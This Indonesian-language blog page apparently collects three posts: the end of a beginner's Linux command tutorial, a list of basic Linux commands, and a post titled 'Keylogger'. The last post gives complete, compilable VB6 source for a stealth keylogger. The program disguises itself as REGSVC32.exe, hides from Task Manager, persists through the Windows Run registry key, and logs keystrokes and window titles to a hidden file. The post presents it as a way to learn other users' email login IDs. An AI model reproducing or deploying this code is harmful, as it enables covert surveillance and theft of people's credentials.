» Spasi untuk maju satu layar penuh. Arti dari satu layar penuh adalah jumlah baris yang dimunculkan di layar console Anda. Biasanya, console Linux diatur pada resolusi 80 kolom dan 25 baris. Dengan demikian, penekanan spasi berarti menampilkan 23 atau 24 baris berikutnya.



» Tombol "b" untuk mundur satu layar penuh. Penjelasan mengenai arti satu layar penuh sama seperti di atas.



Apabila Anda terus menekan tombol spasi sampai akhir file, secara otomatis program more akan berhenti dan prompt akan kembali ke shell. Sama halnya jika Anda menekan tombol [Ctrl]+[C] sewaktu-waktu. Tombol [Ctrl]+[C] sendiri adalah kombinasi tombol universal di console Linux untuk mengakhiri suatu eksekusi program dan semata-mata bukan untuk more saja. Cara lain untuk mengakhiri program more adalah dengan menekan tombol "q".


--------------
grep
--------------
Menampilkan semua baris yang mengandung pola yang diinginkan:

$ grep spyrozone tutor.txt


--------------
echo
--------------

Echo dipakai untuk menampilkan apa yang kita ketik di layar. Perintah ini sama seperti perintah ECHO di DOS.
echo "The NEWBIE HACKERS spirit station!!"


The NEWBIE HACKERS spirit station!!


Anda juga bisa membuat file dengan perintah ini:
echo "The NEWBIE HACKERS spirit station!!" > spyrokid.txt


Perintah diatas akan membuat file spyrokid.txt di directory aktif. File tersebut akan berisi teks "The NEWBIE HACKERS spirit station!!" (tanpa tanda petik). Untuk menambah isi file, ganti > dengan >>



Berikut adalah contoh menarik lain penggunaan echo :
$ echo -e "\thehehe\b\b\b\b\b\bspyrozone\n " > spyro.txt



Lihatlah isi file spyro.txt dengan perintah cat, anda akan melihat tampilan isi file tersebut:



spyrozone



Lho, kemana yang lain?? kenapa yang ada hanya spyrozone?? Berikut penjelasannya:



» \t pada echo menunjukkan pemakaian tabulasi. Pada console Linux, tabulasi memberikan jarak sebesar 8 karakter. Tanpa option -A, cat menerjemahkan \t menjadi karakter tabulasi sehingga rangkaian karakter "spyrozone" diindentasi. Dengan -A, \t ditampilkan sebagai string ^I, yaitu control character untuk tabulasi.

» \b pada echo berarti backspace alias menghapus satu karakter di sebelah kiri. Oleh karena \b diketik tiga kali, maka ini sama artinya dengan menghapus frase "hehehe" seperti yang terlihat dalam tampilan cat. Dengan option -A, karakter backspace ditampilkan sebagai ^H dan frase "hehehe" tetap terlihat.

» \n pada echo berarti memberikan satu baris kosong. Sekalipun dengan option -A, tetap diberikan satu baris kosong di bawah tulisan "spyrozone". Hanya saja, sekarang ada 2 karakter $. Satu untuk menandakan akhir baris (end of line) pada baris kalimat "spyrozone" dan satunya lagi untuk menandai baris di bawahnya. Perhatikan adanya spasi kosong antara tanda tanya dan karakter $.



--------------
cd
--------------
Mewakili kata change directory. Perintah ini dipakai untuk berpindah directory.

$ cd /root


*****************************************************************
Di Linux yang digunakan adalah / (slash) bukan \ (backslash)

*****************************************************************


--------------
cp
--------------
Perintah copy dipakai untuk mengcopy file.
$ cp tutor.txt tutor.txt.bak
$ cp tutor.txt ~spyro/backup-data/tutor.txt.backup

--------------
mv
--------------
Mewakili kata move. Perintah ini dipergunakan untuk mengganti nama file atau directory.
$ mv tutor.txt tutor-backup.txt
$ mv backup bak

--------------
rm
--------------
Perintah remove dipergunakan untuk menghapus file.


$ rm tutor.txt

Perintah diatas akan menghapus file tutor.txt


rm *

Perintah diatas akan menghapus SELURUH FILE yang berada di directory aktif.


--------------
mkdir
--------------
Make directory, dipergunakan untuk membuat directory.
$ mkdir kamarku

--------------
rmdir
--------------
Remove Directory, hapus directory. Perintah ini dibutuhkan untuk menghapus directory. Namun perlu anda ingat bahwa file-file yang berada di dalam directory harus dihapus terlebih dahulu sebelum anda menghapus suatu directory.
$ rmdir backup



--------------

who
--------------
who digunakan untuk menampilkan user yang login ke system. Output perintahnya kira-kira seperti berikut :

$ who
root tty1 Nov 20 17:47
spyrokid tty2 Nov 20 17:48
spyrokid tty3 Nov 20 17:48
spyrokid ttyp0 Nov 20 18:43 (localhost)

Kolom pertama menunjukkan nama user yang login, kolom kedua menunjukkan
terminal line yang digunakan, kolom ketiga menunjukkan waktu login dan
kolom keempat menunjukkan domain atau IP asal mereka koneksi, jika kosong
berarti mereka main langsung dari console.

--------------
whoami
--------------
Lupa siapa anda??
$ whoami
spyrokid


Perintah lain:
$ who am i
spyrozone!spyrokid tty3 Nov 20 17:48

--------------
pwd

--------------
Tampilkan directory aktif, pwd = print working directory, perintah yang dipakai kalo saat jalan2, sudah gak tau mo pulang lewat mana :)

$ pwd
/home/spyrokid

--------------
ps

--------------
Menampilkan proses yang aktif
$ ps
PID TTY STAT TIME COMMAND
87 2 S 0:00 -bash
88 3 S 0:00 -bash
1440 2 S 0:00 pico jilid2.txt
1443 3 R 0:00 ps

--------------
ping
--------------
Mengecek host apakah 'up' utk istilah teknisnya silakan 'man ping'
$ ping localhost
PING localhost (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.2 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.1 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.1 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.1 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.1 ms

--- localhost ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.1/0.1/0.2 ms
spyrozone:~$ ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.2 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.1 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.1 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.1 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.1 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.1/0.1/0.2 ms
spyrozone:~$

Perhatikan bahwa localhost dan 127.0.0.1 adalah sama :)
127.0.0.1 adalah local loopback yang disediakan untuk testing.

--------------
finger
--------------
Mencari informasi user
$ finger
Login Name Tty Idle Login Time Office Office Phone
spyrokid Spyrokid 2 Nov 22 01:10
spyrokid Spyrokid 3 Nov 22 01:10
root 1 1:37 Nov 22 01:10
$ finger @spyrozone.net
[spyrozone.net]

Welcome to Linux version 2.0.34 at spyrozone.net !

3:46am up 2:37, 3 users, load average: 0.00, 0.00, 0.00

Login Name Tty Idle Login Time Office Office Phone
spyrokid Spyrokid 2 Nov 22 01:10
spyrokid Spyrokid 3 Nov 22 01:10
root 1 1:39 Nov 22 01:10

spyrozone:~$ finger @localhost
[localhost]

Welcome to Linux version 2.0.34 at spyrozone.net !

3:47am up 2:38, 3 users, load average: 0.00, 0.00, 0.00

Login Name Tty Idle Login Time Office Office Phone
spyrokid Spyrokid 2 Nov 22 01:10
spyrokid Spyrokid 3 Nov 22 01:10
root 1 1:40 Nov 22 01:10

spyrozone:~$ finger spyrokid
Login: spyrokid Name: Spyrokid
Directory: /home/spyrokid Shell: /bin/bash
On since Tue Nov 22 01:10 (PHT) on tty2 8 seconds idle
On since Tue Nov 22 01:10 (PHT) on tty3
Last login Tue Nov 22 01:13 (PHT) on tty4
Mail forwarded to "|IFS=' '&&exec /usr/bin/procmail -f-||exit 75
#spyrokid"
No mail.
No Plan.

spyrozone:~$ finger root
Login: root Name:
Directory: /root Shell: /bin/bash
On since Tue Nov 22 01:10 (PHT) on tty1 1 hour 42 minutes idle
Mail last read Tue Nov 15 09:19 2004 (PHT)
No Plan.

--------------
ftp
--------------
Menggunakan file tranfer program.
spyrozone:~$ ftp localhost
Connected to localhost.
220 spyrozone.net FTP server (Version wu-2.4.2-academ[BETA-15](1) Wed
May 20 13:45:04 CDT 2004) ready.
Name (localhost:spyrokid): ftp
331 Guest login ok, send your complete e-mail address as password.
Password: spyrokid@spyrozone.net
230-Welcome, archive user! ...

.............

...........................
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

ftp juga bisa dilakukan dengan melakukan telnet ke port 21

spyrozone:~$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 spyrozone.net FTP server (Version wu-2.4.2-academ[BETA-15](1) Wed
May 20 13:45:04 CDT 2004) ready.

--------------
talk
--------------
Berbicara dengan user lain, misalnya spyrokid request melakukan talk ke root:

talk root
atau
talk root@spyrozone.net

[Waiting for your party to respond]

[Ringing your party again]

Di terminal root akan muncul pesan :

Message from Talk_Daemon@spyrozone at 4:00 ...
talk: connection requested by spyrokid@localhost.
talk: respond with: talk spyrokid@localhost

root harus mengetik talk spyrokid@localhost jika ingin menjawab request

talk spyrokid@localhost

[Connection established]

Tekan Ctrl+C untuk terminate connection.


--------------
telnet

--------------
Melakukan komunikasi dengan host lain melalui telnet protocol.
spyrozone:~$ telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Welcome to Linux 2.0.34.

spyrozone login: spyrokid
Password: www.spyrozone.net
Linux 2.0.34.
Last login: Tue Nov 22 01:13:52 on tty4.
No mail.


spyrozone:~$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 spyrozone.net ESMTP Sendmail 8.9.0/8.9.0; Tue, 22 Nov 2004
03:52:51 +0800
helo darling
250 spyrozone.net Hello spyrokid@localhost [127.0.0.1], pleased to
meet you
mail from: guest@spyrozone.net
250 guest@spyrozone.net... Sender ok
rcpt to: untukmu@seorang.jauh.disana
250 untukmu@seorang.jauh.disana... Recipient ok (will queue)
data
354 Enter mail, end with "." on a line by itself
Kukirim lagu dan salam rinduku
.
250 EAA01615 Message accepted for delivery
quit

spyrozone:~$ telnet localhost 110
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
+OK spyrozone POP3 Server (Version 1.005l) ready at
user root
+OK please send PASS command
pass www.spyrozone.net
+OK 2 messages ready for root in /usr/spool/mail/root
stat
+OK 2 7227
retr 1
quit



Okay, sekian dulu perkenalannya, untuk selanjutnya anda bisa menjelajah sendiri dengan perintah man.

/* ------------------------------|EOF|------------------------------ */

sumber : spyro kid

Kamis, 01 Mei 2008

perintah dasar linux



cd x atau cd /x == masuk ke direktori x

cd .. atau cd ../ atau cd/.. == pindah ke direktori satu level di bawah

x lalu [tab] [tab] == berguna untuk mengetahui perintah apa saja yang tersedia yang berawalan huruf x

adduser == untuk menambahkan user baru

ls atau dir == untuk melihat isi suatu direktori

cat == untuk melihat isi dari suatu file text

mv x y == untuk memindahkan atau merename file x ke file y

cp x y == untuk mengkopi file x ke file y

rm x == untuk menghapus file x

mkdir x == untuk membuat direktori x

rmdir x == untuk menghapus direktori x

rm -r x == untuk menghapus direktori x beserta seluruh isinya

rm p == untuk menghapus paket tertentu

df atau df x == untuk mengetahui space kosong dalam device x

top == untuk mengetahui status memori (tekan q untuk quit)

man x == untuk mengetahui keterangan manual dari suatu perintah

less x == untuk melihat isi dari suatu file text
echo x == untuk mencetak isi dari suatu file x ke screen

mc == untuk menghidupkan Norton Commander dalam Linux (sangat berguna dan memudahkan bagi newbie)

mount == untuk menghidupkan suatu device spt cdrom

halt == untuk shutdown

reboot atau [ctl + alt + del] == untuk reboot


chmod == untuk mengubah permission suatu file

ls -l x == untuk melihat isi suatu direktori secara rinci

ln -s x y == untuk membuat link dari suatu file x ke file y

find x -name y -print == untuk menemukan file y, dengan mencari mulai dari direktori x dan tampilkan hasilnya pada layar

ps == untuk melihat seluruh proses yang sedang berjalan

kill x == untuk mematikan proses x (x adalah PID di dalam ps)

[alt] + F1 - F7 == untuk berpindah dari terminal 1 - 7 (ciri khas Linux)

lilo == untuk membuat boot disk


startx == untuk menjalankan X-Windows

[ctl] + [alt] + [backspace] == untuk keluar dari X-Windows jika terjadi trouble

[ctl] + [alt] + F1 - F6 == untuk pindah dari satu terminal ke terminal lain dalam X-Windows

xf86Config == untuk mengeset X (primitif) dalam text mode

Xconfigurator == sama seperti di atas


sumber : budhy.multiply.com

Kamis, 27 Maret 2008

Keylogger

Mungkin kita semua sudah sering mendengar tentang KeyLogger. Yeah.. KeyLogger adalah software yg mencatat gerak-gerik, atau aktifitas tombol yg kita tekan pada keyboard di sebuah Komputer. KeyLogger kemudian mencatat semua informasi pada sebuah catatan(LOG). Hmm.. dengan keylogger ini kita bisa mengetahui aktivitas user. Misalnya aja user habis buka E-mail, kamu bakalan tau ID-nya si User :D

Okay... berikut ini source code KeyLogger yang bisa kamu compile pake VB6. Kita hanya butuh sebuah timer dan module.

Yang perlu diperhatikan :

1. setelah REGSVC32.exe dieksekusi, keylogger tsg akan lg menulis di registry agar program tsb dieksekusi pd waktu booting:

(hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Run).

2. Aktifitas keylogger ini tidak dapat dilihat melalui task manager (Ctrl+Alt+Del)

3. kamu tidak dapat menghapus file REGSVC32.exe (this file is being used by windows)

4. kamu tidak dapat menghentikan booting REGSVC32.exe melalui regedit ato msconfig

5. Untuk melihat hasil rekaman KeyLogger ini kamu bisa buka file REGSVC32.DLL dengan Notepad

6. selama Keylogger ini aktif kamu tidak bisa melakukan Logoff user ... :(





======= code mulai ==========================



'simpan file hasil compile dg nama regsvc32.exe

'form

'simpan dg nama FRMLOG.frm



Option Explicit

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long

Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long



Private sAppName As String





Private Const REG_SZ = 1

Private Const LOCALMACHINE = &H80000002

Private Const RSP_SIMPLE_SERVICE = 1

Private Const RSP_UNREGISTER_SERVICE = 0



Private Const VK_BACK = &H8

Private Const VK_CONTROL = &H11

Private Const VK_SHIFT = &H10

Private Const VK_TAB = &H9

Private Const VK_RETURN = &HD

Private Const VK_MENU = &H12

Private Const VK_ESCAPE = &H1B

Private Const VK_CAPITAL = &H14

Private Const VK_SPACE = &H20

Private Const VK_SNAPSHOT = &H2C

Private Const VK_UP = &H26

Private Const VK_DOWN = &H28

Private Const VK_LEFT = &H25

Private Const VK_RIGHT = &H27

Private Const VK_MBUTTON = &H4

Private Const VK_RBUTTON = &H2

Private Const VK_LBUTTON = &H1

Private Const VK_PERIOD = &HBE

Private Const VK_COMMA = &HBC



Private Const VK_NUMLOCK = &H90

Private Const VK_NUMPAD0 = &H60

Private Const VK_NUMPAD1 = &H61

Private Const VK_NUMPAD2 = &H62

Private Const VK_NUMPAD3 = &H63

Private Const VK_NUMPAD4 = &H64

Private Const VK_NUMPAD5 = &H65

Private Const VK_NUMPAD6 = &H66

Private Const VK_NUMPAD7 = &H67

Private Const VK_NUMPAD8 = &H68

Private Const VK_NUMPAD9 = &H69



Private Const VK_F9 = &H78

Private Const VK_F8 = &H77

Private Const VK_F7 = &H76

Private Const VK_F6 = &H75

Private Const VK_F5 = &H74

Private Const VK_F4 = &H73

Private Const VK_F3 = &H72

Private Const VK_F2 = &H71

Private Const VK_F12 = &H7B

Private Const VK_F11 = &H7A

Private Const VK_F10 = &H79

Private Const VK_F1 = &H70

Private Sub LoadTextFile()

On Error GoTo dlgerror

If Len(App.Path) <= 3 Then

Open App.Path & "settings.ini" For Input As #1

Line Input #1, sAppName

Close

Else

Open App.Path & "\settings.ini" For Input As #1

Line Input #1, sAppName

Close

End If



If sAppName = vbNullString Then

sAppName = "regsvc32"

End If



Exit Sub

dlgerror:

sAppName = "regsvc32"



End Sub





Private Sub SAVEDLL()

Dim nSaveLocation As String

On Error GoTo dlgerror



If Len(App.Path) <= 3 Then

Open App.Path & sAppName & ".dll" For Append As #1

nSaveLocation = App.Path & sAppName & ".dll"

GoTo READY

Else

Open App.Path & "\" & sAppName & ".dll" For Append As #1

nSaveLocation = App.Path & "\" & sAppName & ".dll"

GoTo READY

End If



READY:



If txtLOGGED.Text = vbNullString Then

Exit Sub

End If



Print #1, Time & " " & Date & vbCrLf & "Size: " & Format(FileLen(nSaveLocation) / 1000000, ".0") & " MB" & vbCrLf & "*** PROGRAMS OPENED ***" & vbCrLf & vbCrLf & txtENUMERATE.Text & vbCrLf & vbCrLf & txtLOGGED.Text & vbCrLf & vbCrLf

Close

Close

Close

SetAttr nSaveLocation, vbHidden

Exit Sub

dlgerror:

Err.Clear

Exit Sub

End Sub

Private Sub Form_Load()

On Error Resume Next

Call LoadTextFile

Me.Caption = sAppName

Me.Visible = False

App.TaskVisible = False

App.Title = sAppName

ENTERREGISTRY

RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE

End Sub

Private Sub ENTERREGISTRY()

Dim nKey As Long

RegCreateKey LOCALMACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", nKey

If Len(App.Path) <= 3 Then

RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & App.EXEName & ".exe", Len(App.Path & App.EXEName & ".exe")

Else

RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & "\" & App.EXEName & ".exe", Len(App.Path & "\" & App.EXEName & ".exe")

End If

End Sub

Private Sub Form_Unload(Cancel As Integer)

Cancel = True

Call SAVEDLL

ENTERREGISTRY

Unload Me

End

End Sub

Private Sub tmrCAPTION_Timer()

On Error Resume Next

Me.Caption = sAppName

Me.Visible = False

App.TaskVisible = False

App.Title = False

RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE

End Sub



Private Sub tmrLOG_Timer()

On Error Resume Next

Dim nKey, nChar As Integer

Dim nText As String

For nChar = 1 To 255

nKey = GetAsyncKeyState(nChar)

If nKey = -32767 Then

nText = Chr(nChar)



If nChar = VK_BACK Then

nText = " {B.S} "

ElseIf nChar = VK_CONTROL Then

nText = " {CTRL} "

ElseIf nChar = VK_SHIFT Then

nText = " {SHIFT} "

ElseIf nChar = VK_TAB Then

nText = " {TAB} "

ElseIf nChar = VK_RETURN Then

nText = " {ENTER} "

ElseIf nChar = VK_MENU Then

nText = " {ALT} "

ElseIf nChar = VK_ESCAPE Then

nText = " {ESC} "

ElseIf nChar = VK_CAPITAL Then

nText = " {CAPS} "

ElseIf nChar = VK_SPACE Then

nText = " {SP.B} "

ElseIf nChar = VK_UP Then

nText = " {UP} "

ElseIf nChar = VK_LEFT Then

nText = " {LEFT} "

ElseIf nChar = VK_RIGHT Then

nText = " {RIGHT} "

ElseIf nChar = VK_DOWN Then

nText = " {DOWN} "

ElseIf nChar = VK_F1 Then

nText = " {F1} "

ElseIf nChar = VK_F2 Then

nText = " {F2} "

ElseIf nChar = VK_F3 Then

nText = " {F3} "

ElseIf nChar = VK_F4 Then

nText = " {F4} "

ElseIf nChar = VK_F5 Then

nText = " {F5} "

ElseIf nChar = VK_F6 Then

nText = " {F6} "

ElseIf nChar = VK_F7 Then

nText = " {F7} "

ElseIf nChar = VK_F8 Then

nText = " {F8} "

ElseIf nChar = VK_F9 Then

nText = "{F9}"

ElseIf nChar = VK_F10 Then

nText = " {F10} "

ElseIf nChar = VK_F11 Then

nText = " {F11} "

ElseIf nChar = VK_F12 Then

nText = " {F12} "

ElseIf nChar = VK_SNAPSHOT Then

nText = " {PRINT SCRN} "

ElseIf nChar = VK_RBUTTON Then

nText = " {R.B} "

ElseIf nChar = VK_LBUTTON Then

nText = " {L.B} "

ElseIf nChar = VK_MBUTTON Then

nText = " {M.B} "

ElseIf nChar = VK_PERIOD Then

nText = "."

ElseIf nChar = VK_COMMA Then

nText = ","

ElseIf nChar = VK_NUMLOCK Then

nText = " {NUMLCK} "

ElseIf nChar = VK_NUMPAD0 Then

nText = "0"

ElseIf nChar = VK_NUMPAD1 Then

nText = "1"

ElseIf nChar = VK_NUMPAD2 Then

nText = "2"

ElseIf nChar = VK_NUMPAD3 Then

nText = "3"

ElseIf nChar = VK_NUMPAD4 Then

nText = "4"

ElseIf nChar = VK_NUMPAD5 Then

nText = "5"

ElseIf nChar = VK_NUMPAD6 Then

nText = "6"

ElseIf nChar = VK_NUMPAD7 Then

nText = "7"

ElseIf nChar = VK_NUMPAD8 Then

nText = "8"

ElseIf nChar = VK_NUMPAD9 Then

nText = "9"

End If

txtLOGGED.Text = txtLOGGED.Text + nText

End If

Next

Call GetActiveWindowName

End Sub

Private Sub tmrSAVE_Timer()

Call SAVEDLL

txtLOGGED.Text = vbNullString

txtENUMERATE.Text = vbNullString

End Sub



====code end ===========





============code mulai ============



'module visual basic

'simpan dg nama mdlActiveWindow.bas



Option Explicit



Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Declare Function GetForegroundWindow Lib "user32" () As Long

Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long

Public nCAPTION As String

Public nTESTER As Long

Public nClass As String



Public Sub GetActiveWindowName()

nCAPTION = Space(256)

nClass = Space(256)



GetWindowText GetForegroundWindow, nCAPTION, Len(nCAPTION)

GetClassName GetForegroundWindow, nClass, Len(nClass)



If nTESTER = GetForegroundWindow Then Exit Sub

FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbCrLf & Time & " " & nCAPTION

FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbTab & nClass

nTESTER = GetForegroundWindow

End Sub

============ code end ==========


Artikel lain yang mungkin berhubungan :
Hacking scene di indonesia
Tingkatan-tingkatan dalam dunia hacker
Etika hacker
hacker atau cracker?
rapidshare hack


sumber : spyro kid